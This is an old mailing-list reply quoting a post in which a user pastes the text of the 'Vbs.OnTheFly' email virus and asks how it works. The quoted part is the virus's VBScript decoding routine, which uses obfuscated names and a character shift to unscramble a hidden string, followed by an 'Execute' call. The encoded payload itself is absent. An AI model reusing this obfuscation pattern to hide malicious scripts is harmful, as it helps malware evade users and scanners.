what??? no GOTOs??? ;-)
--- Juan Alberto Cirez <[EMAIL PROTECTED]> wrote: > > > Hi All. I have viewd the code for the new email > virus. As you all know > it's a VBS file. I don't do VBS so I really > don't know how it does what > it does. Anyways Here is the text. Can someone > enlighten me: > ++++++++++++++++++++++Begin Virus > Text++++++++++++++++++++ > 'Vbs.OnTheFly Created By OnTheFly > Execute > Function e7iqom5JE4z(hFeiuKrcoj3) > For I = 1 To Len(hFeiuKrcoj3) Step 2 > StTP1MoJ3ZU= Mid(hFeiuKrcoj3, I, 1) > WHz23rBqlo7= Mid(hFeiuKrcoj3, I + 1, 1) > If Asc(StTP1MoJ3ZU) = 15 Then > StTP1MoJ3ZU= Chr(10) > ElseIf Asc(StTP1MoJ3ZU) = 16 Then > StTP1MoJ3ZU = Chr(13) > ElseIf Asc(StTP1MoJ3ZU) = 17 Then > StTP1MoJ3ZU = Chr(32) > Else > StTP1MoJ3ZU = Chr(Asc(StTP1MoJ3ZU) - 2) > End If > If WHz23rBqlo7<> "" Then > If Asc(WHz23rBqlo7) = 15 Then > WHz23rBqlo7= Chr(10) > ElseIf Asc(WHz23rBqlo7) = 16 Then > WHz23rBqlo7= Chr(13) > ElseIf Asc(WHz23rBqlo7) = 17 Then > WHz23rBqlo7= Chr(32) > Else > WHz23rBqlo7= Chr(Asc(WHz23rBqlo7) - 2) > End If > End If > e7iqom5JE4z = e7iqom5JE4z & WHz23rBqlo7 & > StTP1MoJ3ZU > Next > End Function > 'Vbswg 1.50b > ++++++++++++++++++++++End Virus > Text+++++++++++++++++++++ > ------------------------------------------------------- > Juan Alberto Cirez - Chief Creative Officer > [EMAIL PROTECTED] - [EMAIL PROTECTED] > > ------ hip2linux Professional Services, > Inc.----------- > - Fortalezza VPN/Firewall > - Commandante Remote Network Management > - Network Security > - Intranet & Extranet Management > ------------------------------------------------------- > www.hip2linux.com www.micanno.com > www.dominicanarmy.com www.basementsuite.com > www.micanno.com www.fortalezza.com > ------------------------------------------------------- > Sunny and Beautiful Vancouver, Canada. > ------------------------------------------------------- > > > > -- > To UNSUBSCRIBE, email to > [EMAIL PROTECTED] > with a subject of "unsubscribe". Trouble? > Contact [EMAIL PROTECTED] > __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/
